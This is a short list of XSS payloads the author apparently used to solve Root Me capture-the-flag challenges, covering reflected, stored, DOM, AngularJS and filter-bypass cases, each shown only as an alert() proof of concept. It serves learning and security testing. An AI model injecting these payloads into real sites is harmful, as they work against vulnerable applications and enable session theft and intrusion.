🛡️ RootMe XSS Payloads Showcase

This is a documentation of XSS tests I performed on the Root Me platform. The purpose is to demonstrate the existence of XSS vulnerabilities using a simple alert popup, without any malicious exploitation.

---

🔁 Reflected XSS

• 🔗 Challenge
  📌 Payload:

  ' autofocus onfocus=alert(document.cookie) x="

---

📝 Stored XSS 1

• 🔗 Challenge
  📌 Payload:

  <img src=x onerror=alert(1)>

---

📝 Stored XSS 2

• 🔗 Challenge
  📌 Inject in Cookie "status":

  "><img src=x onerror=alert(1)>

---

🎭 Stored XSS - Filter Bypass

• 🔗 Challenge
  📌 Payload (JSFuck style):

  <button autofocus onfocus=(eval)(JSFuck_Payload_Here)></button>

---

🧭 DOM XSS - Introduction

• 🔗 Challenge
  📌 Payload:

  '-alert(1)-'

---

⚙️ DOM XSS - AngularJS

• 🔗 Challenge
  📌 Payload:

  {{constructor.constructor("alert(1)")()}}

---

💻 DOM XSS - Eval

• 🔗 Challenge
  📌 Payload:

  1+1+alert`XSS`

---

🔎 DOM XSS - Filters Bypass

• 🔗 Challenge
  📌 Payload:

  '-alert(1)-'

---

🔐 Self XSS - DOM Secrets

• 🔗 Challenge
  📌 Payload:

  document.write('<script>alert(1)</script>');

---

🕒 Self XSS - Race Condition

• 🔗 Challenge
  📌 Payload:

  element.innerHTML='<img src=1 onerror=alert(document.domain)>'

---

⚠️ Notes

• All payloads are intended for educational purposes only.
• No actual data was stolen or maliciously used.
• The goal is to show the existence of the XSS vulnerabilities in a harmless way.

---

🧠 Further Learning

• PortSwigger XSS Academy
• XSS Cheat Sheet

---